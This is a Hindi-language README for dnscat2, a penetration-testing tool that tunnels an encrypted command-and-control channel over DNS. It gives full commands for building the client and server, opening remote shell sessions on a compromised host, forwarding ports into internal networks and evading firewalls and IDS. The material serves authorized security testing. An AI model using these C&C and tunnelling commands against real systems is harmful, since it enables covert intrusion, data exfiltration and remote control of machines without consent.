iagox86/dnscat2DNS प्रोटोकॉल पर एन्क्रिप्टेड कमांड-एंड-कंट्रोल टनल। पेनिट्रेशन टेस्टिंग के लिए गुप्त C&C चैनल बनाता है, DNS क्वेरी के माध्यम से फ़ाइल ट्रांसफ़र, शेल एक्सेस और पोर्ट फ़ॉरवर्डिंग क्षमताओं के साथ।
***** नोट: .zip डाउनलोड के लिए पासवर्ड सभी "password" है! *****
dnscat2 में आपका स्वागत है, एक DNS सुरंग जो आपको बीमार नहीं करेगी और न ही मारेगी!
यह उपकरण DNS प्रोटोकॉल पर एक एन्क्रिप्टेड कमांड-एंड-कंट्रोल (C&C) चैनल बनाने के लिए डिज़ाइन किया गया है, जो लगभग हर नेटवर्क से बाहर निकलने के लिए एक प्रभावी सुरंग है।
इस README फ़ाइल में आपको आरंभ करने और चलाने के लिए आवश्यक सब कुछ होना चाहिए! यदि आप प्रोटोकॉल, कोड की संरचना, भविष्य की योजनाओं, या अन्य गूढ़ चीज़ों में गहराई से रुचि रखते हैं, तो doc/ फ़ोल्डर देखें।
यह BSD लाइसेंस के तहत जारी किया गया है। अधिक जानकारी के लिए LICENSE.md देखें।
dnscat2 दो भागों में आता है: क्लाइंट और सर्वर।
क्लाइंट को एक समझौता किए गए मशीन पर चलाने के लिए डिज़ाइन किया गया है। यह C में लिखा गया है और इसमें न्यूनतम संभव निर्भरताएँ हैं। इसे लगभग कहीं भी चलना चाहिए (यदि आपको कोई ऐसा सिस्टम मिलता है जहाँ यह संकलित या चलता नहीं है, तो कृपया एक टिकट दर्ज करें, विशेष रूप से यदि आप उक्त सिस्टम तक पहुँच प्राप्त करने में मेरी मदद कर सकते हैं)।
जब आप क्लाइंट चलाते हैं, तो आप आमतौर पर एक डोमेन नाम निर्दिष्ट करते हैं। सभी अनुरोध स्थानीय DNS सर्वर को भेजे जाएँगे, जो तब उस डोमेन के आधिकारिक DNS सर्वर पर पुनर्निर्देशित होते हैं (जिस पर आपका, संभवतः, नियंत्रण है)।
यदि आपके पास एक आधिकारिक DNS सर्वर नहीं है, तो आप UDP/53 (या जो भी आप चुनें) पर सीधे कनेक्शन का उपयोग कर सकते हैं। वे तेज़ होंगे, और फिर भी एक सामान्य दर्शक को DNS ट्रैफ़िक की तरह दिखेंगे, लेकिन पैकेट लॉग में यह अधिक स्पष्ट है (सभी डोमेन "dnscat." से उपसर्गित होते हैं, जब तक कि आप स्रोत को हैक न करें)। यह मोड अक्सर फ़ायरवॉल द्वारा अवरुद्ध किया जाएगा।
सर्वर को एक आधिकारिक DNS सर्वर पर चलाने के लिए डिज़ाइन किया गया है। यह रूबी में है, और कई अलग-अलग जेम्स पर निर्भर करता है। जब आप इसे चलाते हैं, तो क्लाइंट की तरह ही, आप निर्दिष्ट करते हैं कि इसे किस डोमेन (डोमेन) के लिए सुनना चाहिए, इसके अलावा UDP/53 पर सीधे भेजे गए संदेशों को सुनने के लिए भी। जब यह उन डोमेन में से किसी एक के लिए ट्रैफ़िक प्राप्त करता है, तो यह एक तार्किक कनेक्शन स्थापित करने का प्रयास करता है। यदि इसे अन्य ट्रैफ़िक प्राप्त होता है, तो यह डिफ़ॉल्ट रूप से इसे अनदेखा कर देता है, लेकिन इसे अपस्ट्रीम भी अग्रेषित कर सकता है।
दोनों भागों के लिए विस्तृत निर्देश नीचे दिए गए हैं।
dnscat2 एक विशेष उद्देश्य: कमांड और कंट्रोल के लिए डिज़ाइन किए जाने के कारण अन्य DNS टनलिंग प्रोटोकॉल से अलग होने का प्रयास करता है।
यह आपको होटल नेटवर्क से बाहर निकालने या हवाई जहाज पर मुफ्त इंटरनेट दिलाने के लिए डिज़ाइन नहीं किया गया है। और यह केवल TCP को टनल नहीं करता है।
यह बिना किसी प्रोटोकॉल के, किसी भी डेटा को टनल कर सकता है। जिसका अर्थ है कि यह फ़ाइलें अपलोड और डाउनलोड कर सकता है, यह एक शेल चला सकता है, और यह उन कामों को अच्छी तरह से कर सकता है। यह संभावित रूप से TCP को भी टनल कर सकता है, लेकिन वह केवल एक पेन-टेस्टिंग टूल के संदर्भ में जोड़ा जाएगा (अर्थात, किसी नेटवर्क में TCP को टनल करना), न कि एक सामान्य प्रयोजन टनलिंग टूल के रूप में। वह पहले ही किया जा चुका है, यह (मेरे लिए) दिलचस्प नहीं है।
यह डिफ़ॉल्ट रूप से एन्क्रिप्टेड भी है। मेरा मानना है कि कोई अन्य सार्वजनिक DNS टनल सभी ट्रैफ़िक को एन्क्रिप्ट नहीं करता है!
यहाँ कुछ महत्वपूर्ण लिंक हैं:
dnscat2 के पीछे का सिद्धांत सरल है: यह DNS प्रोटोकॉल पर एक सुरंग बनाता है।
क्यों? क्योंकि DNS में एक अद्भुत गुण है: यह सर्वर से सर्वर तक अपना रास्ता बनाएगा जब तक कि यह पता न लगा ले कि इसे कहाँ जाना है।
इसका मतलब है कि dnscat के लिए एक सुरक्षित नेटवर्क से ट्रैफ़िक बाहर निकालने के लिए, इसे बस एक DNS सर्वर को संदेश भेजने होंगे, जो खुशी-खुशी DNS नेटवर्क के माध्यम से चीजों को तब तक अग्रेषित करेगा जब तक वह आपके DNS सर्वर तक नहीं पहुँच जाता।
यह, निश्चित रूप से, मानता है कि आपके पास एक आधिकारिक DNS सर्वर तक पहुँच है। dnscat2 "प्रत्यक्ष" कनेक्शनों का भी समर्थन करता है - अर्थात, एक dnscat क्लाइंट चलाना जो सीधे आपके IP पते और UDP पोर्ट 53 (डिफ़ॉल्ट रूप से) पर आपके dnscat से जुड़ता है। ट्रैफ़िक अभी भी DNS ट्रैफ़िक जैसा दिखता है, और मूर्ख IDS/IPS सिस्टम से बच सकता है, लेकिन फिर भी फ़ायरवॉल द्वारा रोके जाने की संभावना है।
यदि आप स्पष्ट नहीं हैं कि एक आधिकारिक DNS सर्वर कैसे सेट अप करें, तो यह एक ऐसी चीज़ है जिसे आपको डोमेन प्रदाता के साथ सेट अप करना होगा। izhan ने सहायतापूर्वक आपके लिए एक लिखा है!
क्लाइंट को संकलित करना काफी सीधा होना चाहिए - संकलित करने के लिए आपको बस make/gcc (Linux के लिए) या Cygwin या Microsoft Visual Studio (Windows के लिए) की आवश्यकता होगी। ये हैं Linux पर कमांड:
$ git clone https://github.com/iagox86/dnscat2.git
$ cd dnscat2/client/
$ make
Windows पर, Visual Studio में client/win32/dnscat2.vcproj लोड करें और "build" दबाएँ। मैंने इसे Visual Studio 2008 पर बनाया और परीक्षण किया - जब तक मुझे एक नए संस्करण की मुफ्त वैध प्रति नहीं मिल जाती, मैं संभवतः उसी पर टिका रहूँगा। :)
यदि संकलन विफल होता है, तो कृपया मेरे github पेज पर एक बग दर्ज करें! कृपया अपने सिस्टम के बारे में विवरण भेजें।
आप बिना किसी फ़्लैग के इसे चलाकर सत्यापित कर सकते हैं कि dnscat2 सफलतापूर्वक संकलित हुआ है; आप देखेंगे कि यह आपके कॉन्फ़िगर किए गए DNS सर्वर के साथ एक DNS सुरंग शुरू करने का प्रयास कर रहा है (जो विफल होगा):
$ ./dnscat
Starting DNS driver without a domain! This will only work if you
are directly connecting to the dnscat2 server.
You'll need to use --dns server=<server> if you aren't.
** WARNING!
*
* It looks like you're running dnscat2 with the system DNS server,
* and no domain name!*
* That's cool, I'm not going to stop you, but the odds are really,
* really high that this won't work. You either need to provide a
* domain to use DNS resolution (requires an authoritative server):
*
* dnscat mydomain.com
*
* Or you have to provide a server to connect directly to:
*
* dnscat --dns=server=1.2.3.4,port=53
*
* I'm going to let this keep running, but once again, this likely
* isn't what you want!
*
** WARNING!
Creating DNS driver:
domain = (null)
host = 0.0.0.0
port = 53
type = TXT,CNAME,MX
server = 4.2.2.1
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: The server hasn't returned a valid response in the last 10 attempts.. closing session.
[[ FATAL ]] :: There are no active sessions left! Goodbye!
[[ WARNING ]] :: Terminating
सर्वर को इस तरह से "संकलित" नहीं किया गया है, लेकिन इसके लिए कुछ Ruby निर्भरताओं की आवश्यकता है। दुर्भाग्य से, Ruby निर्भरताएँ काम करने में कष्टप्रद हो सकती हैं, तो शुभकामनाएँ! यदि कोई Ruby विशेषज्ञ इस अनुभाग को बेहतर बनाने में मदद करना चाहता है, तो मैं आभारी रहूँगा!
मैं मान रहा हूँ कि आपके पास Ruby और Gem स्थापित हैं और काम करने की स्थिति में हैं। यदि वे नहीं हैं, तो उन्हें apt-get, emerge, rvm, या जो भी आपके ऑपरेटिंग सिस्टम पर सामान्य है, के साथ स्थापित करें।
एक बार Ruby/Gem सुलझ जाने के बाद, ये कमांड चलाएँ (नोट: यदि आपने पहले ही क्लाइंट स्थापित कर लिया है तो आप स्पष्ट रूप से git clone कमांड को छोड़ सकते हैं और यदि आपने पहले ही bundler स्थापित कर लिया है तो gem install bundler को छोड़ सकते हैं):
$ git clone https://github.com/iagox86/dnscat2.git
$ cd dnscat2/server/
$ gem install bundler
$ bundle install
यदि आपको gem install bundler या bundler install के साथ अनुमति त्रुटि मिलती है, तो आपको उन्हें रूट के रूप में चलाने की आवश्यकता हो सकती है। यदि आपको बहुत सारी समस्याएँ हैं, तो Ruby/Gem को अनइंस्टॉल करें और rvm का उपयोग करके और रूट के बिना सब कुछ स्थापित करें।
यदि आपको इस तरह की त्रुटि मिलती है:
/usr/lib/ruby/1.9.1/rubygems/custom_require.rb:36:in `require': cannot load such file -- mkmf (LoadError)
इसका मतलब है कि आपको Ruby का -dev संस्करण स्थापित करने की आवश्यकता है:
$ sudo apt-get install ruby-dev
मुझे लगता है कि sudo हमेशा सब कुछ सही ढंग से काम करने के लिए पर्याप्त नहीं है, मुझे कभी-कभी रूट पर स्विच करना पड़ता है और सीधे उस खाते के रूप में काम करना पड़ता है। rvmsudo मदद नहीं करता, क्योंकि यह ctrl-z को तोड़ देता है।
आप बिना किसी फ़्लैग के इसे चलाकर और यह देखकर सत्यापित कर सकते हैं कि आपको dnscat2> प्रॉम्प्ट मिलता है या नहीं:
# ruby ./dnscat2.rb
New window created: 0
Welcome to dnscat2! Some documentation may be out of date.
passthrough => disabled
auto_attach => false
auto_command =>
process =>
history_size (for new windows) => 1000
New window created: dns1
Starting Dnscat2 DNS server on 0.0.0.0:53
[domains = n/a]...
It looks like you didn't give me any domains to recognize!
That's cool, though, you can still use direct queries,
although those are less stealthy.
To talk directly to the server without a domain name, run:
./dnscat2 --dns server=x.x.x.x,port=53
Of course, you have to figure out <server> yourself! Clients
will connect directly on UDP port 53.
dnscat2>
यदि आप इसे रूट के रूप में नहीं चलाते हैं, तो आपको UDP/53 पर सुनने में परेशानी हो सकती है (आप इसे बदलने के लिए --dnsport का उपयोग कर सकते हैं)। यदि ऐसा है तो आपको एक त्रुटि संदेश दिखाई देगा।
यदि आपको रूट के रूप में Ruby चलाने में परेशानी हो रही है, तो मैं इसे पहली बार चलाने के लिए यह करता हूँ:
$ cd dnscat2/server
$ su
# gpg --keyserver hkp://keys.gnupg.net --recv-keys 409B6B1796C275462A1703113804BB82D39DC0E3
# \curl -sSL https://get.rvm.io | bash
# source /etc/profile.d/rvm.sh
# rvm install 1.9
# rvm use 1.9
# bundle install
# ruby ./dnscat2.rb
और बाद के समय में:
$ cd dnscat2/server
$ su
# source /etc/profile.d/rvm.sh
# ruby ./dnscat2.rb
rvmsudo को इसे आसान बनाना चाहिए, लेकिन dnscat2 दुर्भाग्य से rvmsudo के साथ अच्छी तरह से काम नहीं करता है।
इससे पहले कि हम टूल्स का विशेष रूप से उपयोग करने के तरीके के बारे में बात करें, आइए बात करते हैं कि dnscat कैसे संरचित है। dnscat टूल दो भागों में विभाजित है: एक क्लाइंट और एक सर्वर। जैसा कि आपने संकलन के दौरान देखा, क्लाइंट C में लिखा गया है और सर्वर Ruby में है।
आम तौर पर, सर्वर पहले चलाया जाता है। यह लंबे समय तक चल सकता है, और जितने चाहें उतने क्लाइंट को संभाल सकता है। जैसा कि मैंने पहले कहा, यह मूल रूप से एक C&C सेवा है।
बाद में, एक क्लाइंट चलाया जाता है, जो सर्वर के साथ एक सत्र खोलता है (सत्रों पर अधिक जानकारी नीचे)। सत्र या तो DNS पदानुक्रम को पार कर सकता है (अनुशंसित, लेकिन अधिक जटिल) या सीधे सर्वर से जुड़ सकता है। DNS पदानुक्रम को पार करने के लिए एक आधिकारिक डोमेन की आवश्यकता होती है, लेकिन यह अधिकांश फ़ायरवॉल को बायपास करेगा। सीधे सर्वर से जुड़ना कई कारणों से अधिक स्पष्ट है।
डिफ़ॉल्ट रूप से, कनेक्शन स्वचालित रूप से एन्क्रिप्ट होते हैं (क्लाइंट पर --no-encryption और सर्वर पर --security=open के साथ इसे बंद करें)। एक नया कनेक्शन स्थापित करते समय, यदि आप मैन-इन-द-मिडिल हमलों के बारे में पागल हैं, तो आपके पास पीयर को सत्यापित करने के लिए दो विकल्प हैं:
--secret तर्क का उपयोग करके एक पूर्व-साझा रहस्य पास करें कनेक्शन को मान्य करने के लिएसर्वर - जो आमतौर पर किसी विशेष डोमेन के आधिकारिक DNS सर्वर पर चलाया जाता है - को सुविधा-युक्त, इंटरैक्टिव और उपयोगकर्ता के अनुकूल बनाया गया है। यह Ruby में लिखा गया है, और इसका अधिकांश डिज़ाइन Metasploit और Meterpreter से प्रेरित है।
यदि आपने ऊपर दिए गए संकलन निर्देशों का पालन किया है, तो आपको बस सर्वर चलाने में सक्षम होना चाहिए:
$ ruby ./dnscat2.rb skullseclabs.org
जहाँ "skullseclabs.org" आपका अपना डोमेन है। यदि आपके पास एक आधिकारिक DNS सर्वर नहीं है, तो यह अनिवार्य नहीं है; लेकिन यह उपकरण एक आधिकारिक सर्वर के साथ बहुत, बहुत बेहतर काम करता है।
वास्तव में बस इतना ही आपको चाहिए! इसके अलावा, आप किसी अन्य सिस्टम पर क्लाइंट के --ping कमांड का उपयोग करके इसका परीक्षण कर सकते हैं, जो उपलब्ध होना चाहिए यदि आपने इसे संकलित किया है:
$ ./dnscat --ping skullseclabs.org
यदि पिंग सफल होता है, तो आपका C&C सर्वर संभवतः ठीक है! यदि आपने DNS सर्वर को किसी भिन्न पोर्ट पर चलाया है, या यदि आपको एक कस्टम DNS रिज़ॉल्वर का उपयोग करने की आवश्यकता है, तो आप --ping के अतिरिक्त --dns फ़्लैग का उपयोग कर सकते हैं:
$ ./dnscat --dns server=8.8.8.8,domain=skullseclabs.org --ping
$ ./dnscat --dns port=53531,server=localhost,domain=skullseclabs.org --ping
ध्यान दें कि जब आप --dns तर्क निर्दिष्ट करते हैं, तो डोमेन उस तर्क का हिस्सा होना चाहिए (domain=xxx के रूप में)। आप इसे केवल कमांडलाइन पर पास नहीं कर सकते (मेरे कमांड पार्सिंग की सीमा के कारण; मैं संभवतः भविष्य के रिलीज़ में इसे सुधारूंगा)।
जब प्रक्रिया चल रही हो, तो आप मूल रूप से समान सिंटैक्स का उपयोग करके एक नया सर्वर शुरू कर सकते हैं:
dnscat2> start --dns=port=53532,domain=skullseclabs.org,domain=test.com
New window created: dns2
Starting Dnscat2 DNS server on 0.0.0.0:53532
[domains = skullseclabs.org, test.com]...
Assuming you have an authoritative DNS server, you can run
the client anywhere with the following:
./dnscat2 skullseclabs.org
./dnscat2 test.com
To talk directly to the server without a domain name, run:
./dnscat2 --dns server=x.x.x.x,port=53532
Of course, you have to figure out <server> yourself! Clients
will connect directly on UDP port 53532.
आप जितने चाहें उतने DNS श्रोता चला सकते हैं, जब तक वे अलग-अलग होस्ट/पोर्ट पर हों। एक बार डेटा आने के बाद, बाकी प्रक्रिया को यह भी पता नहीं चलता कि डेटा किस श्रोता से आया है; वास्तव में, एक क्लाइंट अलग-अलग पोर्ट पर अलग-अलग पैकेट भेज सकता है, और सत्र अपेक्षित रूप से जारी रहेगा।
क्लाइंट - जो आमतौर पर एक सिस्टम को समझौता करने के बाद चलाया जाता है - को सरल, स्थिर और पोर्टेबल बनाया गया है। यह C में लिखा गया है और इसमें यथासंभव कम लाइब्रेरी निर्भरताएँ हैं, और यह Linux, Windows, Cygwin, FreeBSD, और Mac OS X पर मूल रूप से संकलित/चलता है।
क्लाइंट को कमांडलाइन पर डोमेन नाम दिया जाता है, उदाहरण के लिए:
./dnscat2 skullseclabs.org
उस उदाहरण में, यह skullseclabs.org पर चल रहे dnscat2 सर्वर के साथ एक C&C सत्र बनाएगा। यदि एक आधिकारिक डोमेन एक विकल्प नहीं है, तो इसके बजाय इसे कनेक्ट करने के लिए एक विशिष्ट IP पता दिया जा सकता है:
./dnscat2 --dns host=206.220.196.59,port=5353
यह मानते हुए कि उस होस्ट/पोर्ट पर एक dnscat2 सर्वर चल रहा है, यह वहाँ एक सत्र बनाएगा।
यो डॉग; मैंने सुना है आपको सुरंगें पसंद हैं, तो अब आप अपनी सुरंग के माध्यम से एक सुरंग को सुरंगित कर सकते हैं!
वर्तमान में "ssh -L" के समान, dnscat2 के माध्यम से एक कनेक्शन को सुरंगित करना संभव है! अन्य मोड ("ssh -D" और "ssh -R") भी जल्द ही आ रहे हैं!
एक सत्र शुरू होने के बाद (एक कमांड सत्र), "listen" कमांड का उपयोग एक नया सुरंगित पोर्ट खोलने के लिए किया जाता है। सिंटैक्स मोटे तौर पर ssh -L के समान है:
listen [lhost:]lport rhost:rport
स्थानीय होस्ट वैकल्पिक है, और डिफ़ॉल्ट रूप से सभी इंटरफ़ेस (0.0.0.0) होगा। स्थानीय पोर्ट और रिमोट होस्ट/पोर्ट अनिवार्य हैं।
dnscat2 सर्वर lport पर सुनेगा। उस पोर्ट पर प्राप्त सभी कनेक्शन, dnscat2 क्लाइंट के माध्यम से, चुने गए रिमोट होस्ट/पोर्ट पर अग्रेषित किए जाते हैं।
उदाहरण के लिए, यह पोर्ट 4444 (सर्वर पर) पर सुनेगा और ट्रैफ़िक को google पर अग्रेषित करेगा:
listen 4444 www.google.com:80
फिर, यदि आप http://localhost:4444 से कनेक्ट होते हैं, तो यह dnscat2 क्लाइंट से बाहर आएगा और google.com से कनेक्ट होगा।
मान लें कि आप इसका उपयोग एक पेंटेस्ट पर कर रहे हैं और आप ssh कनेक्शन को dnscat2 क्लाइंट (किसी के कॉर्प नेटवर्क पर चल रहे) के माध्यम से एक आंतरिक डिवाइस पर अग्रेषित करना चाहते हैं। आप कर सकते हैं!
listen 127.0.0.1:2222 10.10.10.10:22
यह केवल dnscat2 सर्वर पर localhost इंटरफ़ेस पर सुनेगा, और सुरंग के माध्यम से कनेक्शन को 10.10.10.10 के पोर्ट 22 पर अग्रेषित करेगा।
dnscat2 डिफ़ॉल्ट रूप से एन्क्रिप्टेड है।
मैं एक क्रिप्टोग्राफर नहीं हूँ, और आवश्यकता से मैंने स्वयं एन्क्रिप्शन योजना तैयार की। परिणामस्वरूप, मैं इस पर 100% भरोसा नहीं करूंगा। मुझे लगता है कि मैंने हमलों को रोकने में काफी अच्छा काम किया है, लेकिन इसका पेशेवर रूप से ऑडिट नहीं किया गया है। सावधानी से उपयोग करें।
एन्क्रिप्शन के बारे में प्रोटोकॉल दस्तावेज़ में बहुत सारी तकनीकी जानकारी है। लेकिन यहाँ मूल बातें हैं।
डिफ़ॉल्ट रूप से, क्लाइंट और सर्वर दोनों एन्क्रिप्शन का समर्थन करते हैं और प्रयास करेंगे। प्रत्येक कनेक्शन ECDH द्वारा बातचीत की गई एक नई कुंजी जोड़ी का उपयोग करता है। सभी एन्क्रिप्शन salsa20 द्वारा किया जाता है, और हस्ताक्षर sha3 का उपयोग करते हैं।
क्लाइंट पर --no-encryption कमांडलाइन पर पास करके, या make nocrypto का उपयोग करके संकलित करके एन्क्रिप्शन को अक्षम किया जा सकता है।
सर्वर डिफ़ॉल्ट रूप से अनएन्क्रिप्टेड कनेक्शनों को अस्वीकार कर देगा। अनएन्क्रिप्टेड कनेक्शनों की अनुमति देने के लिए, सर्वर को --security=open पास करें, या कंसोल पर set security=open चलाएँ।
डिफ़ॉल्ट रूप से, मैन-इन-द-मिडिल हमलों के खिलाफ कोई सुरक्षा नहीं है। जैसा कि पहले उल्लेख किया गया है, MitM सुरक्षा प्राप्त करने के दो अलग-अलग तरीके हैं: एक पूर्व-साझा रहस्य या एक "लघु प्रमाणीकरण स्ट्रिंग"।
एक पूर्व-साझा रहस्य कमांडलाइन पर क्लाइंट और सर्वर दोनों को पास किया जाता है, और इसका उपयोग क्लाइंट को सर्वर से और सर्वर को क्लाइंट से प्रमाणित करने के लिए किया जाता है। यह कुछ हद तक मजबूत मान होना चाहिए - ऐसा कुछ जो एक हमलावर द्वारा जल्दी से अनुमान नहीं लगाया जा सकता (हमलावर के पास इसका अनुमान लगाने के लिए केवल एक छोटी सी खिड़की है, इसलिए इसे केवल कुछ सेकंड के लिए टिकना होता है)।
पूर्व-साझा रहस्य क्लाइंट और सर्वर दोनों पर --secret पैरामीटर के माध्यम से पास किया जाता है। सर्वर रनटाइम पर set secret=<new value> का उपयोग करके इसे बदल सकता है, लेकिन यदि सक्रिय क्लाइंट जुड़े हुए हैं तो इसके अप्रत्याशित परिणाम हो सकते हैं।
इसके अलावा, सर्वर --security=authenticated या set security=authenticated का उपयोग करके केवल प्रमाणित कनेक्शनों की अनुमति देने के लिए लागू कर सकता है। यदि आप --secret पैरामीटर पास करते हैं तो यह डिफ़ॉल्ट रूप से सक्षम होता है।
यदि आपको कनेक्शनों को प्रमाणित करने के अतिरिक्त प्रयास की आवश्यकता नहीं है, तो क्लाइंट और सर्वर दोनों द्वारा एक "लघु प्रमाणीकरण स्ट्रिंग" प्रदर्शित की जाती है। लघु प्रमाणीकरण स्ट्रिंग अंग्रेजी शब्दों की एक श्रृंखला है जो दोनों पक्षों द्वारा साझा किए गए गुप्त मूल्यों के आधार पर प्राप्त की जाती है।
यदि क्लाइंट और सर्वर दोनों पर अंग्रेजी शब्दों का एक ही सेट मुद्रित होता है, तो कनेक्शन को उचित रूप से सुरक्षित माना जा सकता है।
एन्क्रिप्शन के बारे में आपको बस इतना ही जानने की आवश्यकता है! विवरण के लिए प्रोटोकॉल दस्तावेज़ देखें! मुझे क्रिप्टो पर कोई भी प्रतिक्रिया सुनना अच्छा लगेगा। :)
और अंत में, यदि आपको क्रिप्टो के साथ कोई समस्या है, तो कृपया मुझे बताएं! डिफ़ॉल्ट रूप से शुरुआत में "crypto-debug" नामक एक विंडो बनाई जाएगी। यदि आपको एन्क्रिप्शन की समस्या है, तो कृपया मुझे वह लॉग भेजें! या, बेहतर अभी, dnscat2 को --firehose और --packet-trace तर्कों के साथ चलाएँ, और मुझे सब कुछ भेजें! निजी कुंजियों को प्रकट करने की चिंता न करें; वे केवल उस एक सत्र के लिए उपयोग की जाती हैं।
dnscat2 UI कई विंडो से बना है। डिफ़ॉल्ट विंडो को 'मुख्य' विंडो कहा जाता है। आप किसी भी कमांड प्रॉम्प्ट में windows (या sessions) टाइप करके विंडो की सूची प्राप्त कर सकते हैं:
dnscat2> windows
0 :: main [active]
dns1 :: DNS Driver running on 0.0.0.0:53 domains = skullseclabs.org [*]
आप देखेंगे कि दो विंडो हैं - विंडो 0 मुख्य विंडो है, और विंडो dns1 श्रोता है (तकनीकी रूप से 'टनल ड्राइवर' कहा जाता है)।
किसी भी विंडो से जो कमांड स्वीकार करती है (मुख्य और कमांड सत्र), आप कमांड की सूची प्राप्त करने के लिए help टाइप कर सकते हैं:
dnscat2> help
Here is a list of commands (use -h on any of them for additional help):
* echo
* help
* kill
* quit
* set
* start
* stop
* tunnels
* unset
* window
* windows
उनमें से किसी भी कमांड के लिए, आप विवरण प्राप्त करने के लिए -h या --help का उपयोग कर सकते हैं:dnscat2> window --help Error: The user requested help
Interact with a window
-i, --i=<s> Interact with the chosen window
-h, --help Show this message
हम window कमांड का उपयोग करके dns1 के साथ इंटरैक्ट करेंगे, जो एक स्थिति विंडो है:
dnscat2> window -i dns1
New window created: dns1
Starting Dnscat2 DNS server on 0.0.0.0:53531
[domains = skullseclabs.org]...
Assuming you have an authoritative DNS server, you can run
the client anywhere with the following:
./dnscat2 skullseclabs.org
To talk directly to the server without a domain name, run:
./dnscat2 --dns server=x.x.x.x,port=53531
Of course, you have to figure out <server> yourself! Clients
will connect directly on UDP port 53531.
Received: dnscat.9fa0ff178f72686d6c716c6376697968657a6d716800 (TXT)
Sending: 9fa0ff178f72686d6c716c6376697968657a6d716800
Received: d17cff3e747073776c776d70656b73786f646f616200.skullseclabs.org (MX)
Sending: d17cff3e747073776c776d70656b73786f646f616200.skullseclabs.org
यहाँ प्राप्त और भेजे गए स्ट्रिंग्स, यदि आप उन्हें डिकोड करते हैं, तो pings हैं।
आप 'parent' विंडो (इस मामले में main) पर ctrl-z दबाकर स्विच कर सकते हैं। यदि ctrl-z प्रक्रिया को मार देता है, तो आपको इसे चलाने का कोई बेहतर तरीका खोजना होगा (rvmsudo काम नहीं करता, ऊपर देखें)।
जब कोई नया क्लाइंट कनेक्ट होता है और एक सत्र बनाता है, तो आपको main (और कुछ अन्य विंडो) में सूचित किया जाएगा:
New window created: 1
dnscat2>
(ध्यान दें कि प्रॉम्प्ट वापस पाने के लिए आपको enter दबाना होगा)
आप उसी तरह नई विंडो पर स्विच कर सकते हैं जैसे हमने dns1 स्थिति विंडो पर स्विच किया था:
dnscat2> window -i 1
New window created: 1
history_size (session) => 1000
This is a command session!
That means you can enter a dnscat2 command such as
'ping'! For a full list of clients, try 'help'.
command session (ubuntu-64) 1>
कमांड सत्र अतिरिक्त सत्र उत्पन्न कर सकते हैं; उदाहरण के लिए, shell कमांड:
command session (ubuntu-64) 1> shell
Sent request to execute a shell
New window created: 2
Shell session created!
command session (ubuntu-64) 1>
(ध्यान दें कि इस दस्तावेज़ में मैं आउटपुट को साफ कर रहा हूँ; सामान्यतः आपको प्रॉम्प्ट वापस पाने के लिए enter दबाना होगा)
फिर, यदि आप मुख्य सत्र पर वापस लौटते हैं (ctrl-z या suspend), तो आप इसे विंडो की सूची में देखेंगे:
dnscat2> windows
0 :: main [active]
dns1 :: DNS Driver running on 0.0.0.0:53531 domains = skullseclabs.org [*]
1 :: command session (ubuntu-64)
2 :: sh (ubuntu-64) [*]
दुर्भाग्य से, किसी विशिष्ट कमांड सत्र में 'windows' कमांड केवल उस सत्र से चाइल्ड विंडो दिखाता है, और अभी नए सत्र चाइल्ड के रूप में उत्पन्न नहीं होते हैं।
ध्यान दें कि कुछ सत्रों में [*] होता है - इसका मतलब है कि पिछली बार देखने के बाद से उनमें गतिविधि हुई है।
जब आप किसी सत्र के साथ इंटरैक्ट करते हैं, तो इंटरफ़ेस सत्र प्रकार के आधार पर अलग दिखेगा। जैसा कि आपने डिफ़ॉल्ट सत्र प्रकार (कमांड सत्र) के साथ देखा, आपको शीर्ष-स्तरीय सत्र के समान UI मिलता है (आप 'help' टाइप कर सकते हैं या कमांड चला सकते हैं, आदि)। हालांकि, यदि आप 'shell' सत्र के साथ इंटरैक्ट करते हैं, तो आपको तुरंत ज्यादा कुछ नहीं दिखेगा, जब तक आप एक कमांड नहीं टाइप करते:
dnscat2> windows
0 :: main [active]
dns1 :: DNS Driver running on 0.0.0.0:53531 domains = skullseclabs.org [*]
1 :: command session (ubuntu-64)
2 :: sh (ubuntu-64) [*]
dnscat2> session -i 2
New window created: 2
history_size (session) => 1000
This is a console session!
That means that anything you type will be sent as-is to the
client, and anything they type will be displayed as-is on the
screen! If the client is executing a command and you don't
see a prompt, try typing 'pwd' or something!
To go back, type ctrl-z.
sh (ubuntu-64) 2> pwd
/home/ron/tools/dnscat2/client
इससे बचने के लिए, आप ctrl-z का उपयोग कर सकते हैं या "exit" टाइप कर सकते हैं (जो सत्र को मार देगा)।
अंत में, किसी सत्र को मारने के लिए, kill कमांड का उपयोग किया जा सकता है:
dnscat2> windows
0 :: main [active]
dns1 :: DNS Driver running on 0.0.0.0:53531 domains = skullseclabs.org [*]
1 :: command session (ubuntu-64)
2 :: sh (ubuntu-64) [*]
dnscat2> kill 2
Session 2 has been sent the kill signal!
Session 2 has been killed
dnscat2> windows
0 :: main [active]
dns1 :: DNS Driver running on 0.0.0.0:53531 domains = skullseclabs.org [*]
1 :: command session (ubuntu-64)
अतीत में, कई DNS टनलिंग उपकरण थे। एक को Tadek Pietraszek द्वारा लिखित dnscat कहा जाता था। समस्या यह है कि यह Java में लिखा गया था, और मैं वास्तव में कुछ ऐसा चाहता था जो मूल रूप से हर जगह चल सके।
dnscat का वह संस्करण NSTX नामक एक उपकरण पर आधारित था, जिसका पृष्ठ अब मौजूद नहीं है और Wayback Machine में भी नहीं है, इसलिए मुझे इसके बारे में कुछ नहीं पता।
बाद में, मैंने एक C कार्यान्वयन लिखा और इसे dnscat नाम दिया (बिना अनुमति के), क्योंकि पिछला Java संस्करण अनुरक्षित नहीं था और मुझे वास्तव में नाम पसंद आया (मैंने इसे dnscat-ng कहने का विचार किया, लेकिन -ng मेरे स्वाद के लिए थोड़ा लंबा है)। यह काम करता था, लेकिन बहुत सारी समस्याएँ थीं। क्लाइंट और सर्वर एक ही उपकरण थे, netcat की तरह, जो DNS के क्लाइंट/सर्वर मॉडल के कारण अच्छी तरह से काम नहीं करता था। दूसरी समस्या यह थी कि मैंने इसे DNS प्रोटोकॉल से बहुत अधिक जोड़ दिया था, इसलिए यह केवल DNS पर ही चल सकता था।
